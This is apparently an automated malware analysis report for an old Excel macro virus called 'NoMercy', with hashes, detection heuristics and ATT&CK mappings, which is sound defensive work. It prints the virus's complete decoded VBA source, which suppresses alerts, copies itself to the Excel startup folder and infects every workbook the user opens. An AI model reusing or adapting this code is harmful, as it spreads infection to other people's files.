Xls.Trojan.Tjoro-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 7004e1cbdf60425f…

MALICIOUS

Office (OLE)

22.5 KB Created: 1997-05-29 17:16:31 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 4cb127fccca1b3b6c2deebd46b0faac4 SHA-1: 77d99878eb44cbdf5e6c3dfe0ccfc60d954623d4 SHA-256: 7004e1cbdf60425fa8a501121fdce52b943877f66adca567955aa45766505ee3
220 Risk Score

Malware Insights

Xls.Trojan.Tjoro-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This Excel file contains VBA macros, including Auto_Open and Auto_Close functions, which are indicative of malicious intent. The script attempts to infect the GLOBAL.XLM workbook and establish persistence by setting the Application.OnSheetActivate property to trigger a function within the infected GLOBAL.XLM. This behavior is consistent with malware designed to maintain a foothold on the system.

Heuristics 4

  • ClamAV: Xls.Trojan.Tjoro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Tjoro-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3071 bytes
SHA-256: a0ae8a34e9195277c570b49e1e135744308be54b9b4de3fe79c46b55da1ed349
Detection
ClamAV: Xls.Trojan.Tjoro-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NoMercy"



Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo bye
Application.ScreenUpdating = False 'cover our dirty work from user
Application.DisplayAlerts = False  'disable the alert
If cek_global() Then
'global exist so leave it alone
    GoTo FuckSheet:
Else
'infect_global
    infectglobal    'infect the GLOBAL.XLM
End If
FuckSheet:
'trigger on every activation sheet
Application.OnSheetActivate = "GLOBAL.XLM!Fuck"
bye:
End Sub

Function cek_global() As Boolean
Attribute cek_global.VB_ProcData.VB_Invoke_Func = " \n14"
cek_global = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "GLOBAL.XLM" Then
    'global exist
    For y = 1 To Application.Workbooks("GLOBAL.XLM").Modules.Count
        If Application.Workbooks("GLOBAL.XLM").Modules(y).Name = "NoMercy" Then
        cek_global = True
        End If
    Next y
    End If
Next x
End Function

Function infectglobal()
Attribute infectglobal.VB_ProcData.VB_Invoke_Func = " \n14"
 ' Dim activebook As String
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\GLOBAL.XLM"
 'now we need to open it up and make it visible
  Workbooks.Open (Application.StartupPath + "\GLOBAL.XLM")
  Windows("GLOBAL.XLM").Visible = False
 'save the change
 Application.Workbooks("GLOBAL.XLM").Save
End Function

'========================================================
Function inFuckIt() As Boolean
Attribute inFuckIt.VB_ProcData.VB_Invoke_Func = " \n14"
activebook = ActiveWorkbook.Name
inFuckIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebook).Modules(y).Name = "NoMercy" Then
    inFuckIt = True
    End If
Next y
End Function
'=====================================
Sub Fuck()
Attribute Fuck.VB_ProcData.VB_Invoke_Func = " \n14"
    'Dim activebook As String
    oactivebook = ActiveWorkbook.Name
    If inFuckIt() Then  'cek are we already fuck this WorkBook
    'this workbook already infected
    GoTo bye2
    End If
    'Nop, this WorkBook seem innocent so....
    Application.ScreenUpdating = False
    Application.Windows("GLOBAL.XLM").Visible = True
    Workbooks("GLOBAL.XLM").Activate
    Sheets("NoMercy").Visible = True
    Workbooks("GLOBAL.XLM").Sheets("NoMercy").Copy Before:=Workbooks(oactivebook).Sheets(1)
    Workbooks(oactivebook).Sheets("NoMercy").Visible = False
    'save the change
    Workbooks("GLOBAL.XLM").Sheets("NoMercy").Visible = False
    Windows("GLOBAL.XLM").Visible = False
bye2:
Close
End Sub

Sub Auto_Close()
Attribute Auto_Close.VB_ProcData.VB_Invoke_Func = " \n14"
Application.DisplayAlerts = False  'disable the alert
Application.Workbooks("GLOBAL.XLM").Save
If Day(Date) = 11 Then
    MsgBox "Hello there...you are infected with NoMercy!", 0, "Hello..."
End If
'cover the error when exit from excel
On Error GoTo bye3
Application.Workbooks(ActiveWorkbook.Name).Save
bye3:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.